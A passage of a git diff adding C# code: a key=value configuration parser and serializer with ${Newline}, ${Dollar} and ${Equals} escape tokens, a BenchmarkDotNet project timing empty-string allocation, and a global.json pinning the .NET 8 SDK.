equalsIndex = line.IndexOf('='); + if (equalsIndex == -1) + { + throw new FormatException("Invalid format"); + } + + ReadOnlySpan key = line[..equalsIndex]; + ReadOnlySpan value = line[(equalsIndex + 1)..]; + + dictionary.Add(ReadToken(key), ReadToken(value)); + } + + return dictionary; +} + +static string ReadToken(ReadOnlySpan token) +{ + using Utf8ValueStringBuilder buffer = ZString.CreateUtf8StringBuilder(); + using Utf8ValueStringBuilder tokenBuffer = ZString.CreateUtf8StringBuilder(); + var insideEscape = false; + + for (var index = 0; index < token.Length; index++) + { + char current = token[index]; + switch (current) + { + case '$' when !insideEscape && index + 1 < token.Length && token[index + 1] == '{': + insideEscape = true; + index++; // skip next { + break; + + case '}' when insideEscape: + insideEscape = false; // end of sequence + buffer.Append(CreateToken(tokenBuffer.AsSpan())); + tokenBuffer.Clear(); + break; + + case var _ when insideEscape: + tokenBuffer.Append(current); + break; + + default: + buffer.Append(current); + break; + } + } + + if (insideEscape) + { + throw new FormatException("Invalid escape sequence"); + } + + return buffer.ToString(); +} + +static string CreateToken(ReadOnlySpan escaped) +{ + Span chars = stackalloc char[escaped.Length]; + Encoding.UTF8.GetChars(escaped, chars); + + return chars switch + { + "Newline" => "\n", + "Dollar" => "$", + "Equals" => "=", + _ => throw new FormatException("Invalid escape sequence") + }; +} + +static void Serialize(Stream destination, Dictionary config) +{ + using var writer = new StreamWriter(destination, Encoding.UTF8, leaveOpen: true); + + foreach ((string key, string value) in config) + { + WriteToken(writer, key); + writer.Write('='); + WriteToken(writer, value); + writer.WriteLine(); + } +} + +static void WriteToken(TextWriter writer, ReadOnlySpan token) +{ + for (var index = 0; index < token.Length; index++) + { + char current = token[index]; + switch (current) + { + case '=': + writer.Write("${Equals}"); + break; + + case '$': + writer.Write("${Dollar}"); + break; + + case '\r': + // discard, we can handle this with \n branch + break; + + case '\n': + writer.Write("${Newline}"); + break; + + default: + writer.Write(current); + break; + } + } +} diff --git a/csharp/E072-StringBenchmarks/E072-StringBenchmarks.csproj b/csharp/E072-StringBenchmarks/E072-StringBenchmarks.csproj new file mode 100644 index 0000000..2b5fd6c --- /dev/null +++ b/csharp/E072-StringBenchmarks/E072-StringBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E072_StringBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E072-StringBenchmarks/Program.cs b/csharp/E072-StringBenchmarks/Program.cs new file mode 100644 index 0000000..b87bd91 --- /dev/null +++ b/csharp/E072-StringBenchmarks/Program.cs @@ -0,0 +1,15 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class StringBenchmarks +{ + [Benchmark] + public string AllocEmptyString() + { + var chars = ReadOnlySpan.Empty; + return new string(chars); + } +} diff --git a/csharp/global.json b/csharp/global.json new file mode 100644 index 0000000..2ddda36 --- /dev/null +++ b/csharp/global.json @@ -0,0 +1,7 @@ +{ + "sdk": { + "version": "8.0.0", + "rollForward": "latestMinor", + "allowPrerelease": false + } +} \ No newline at end of file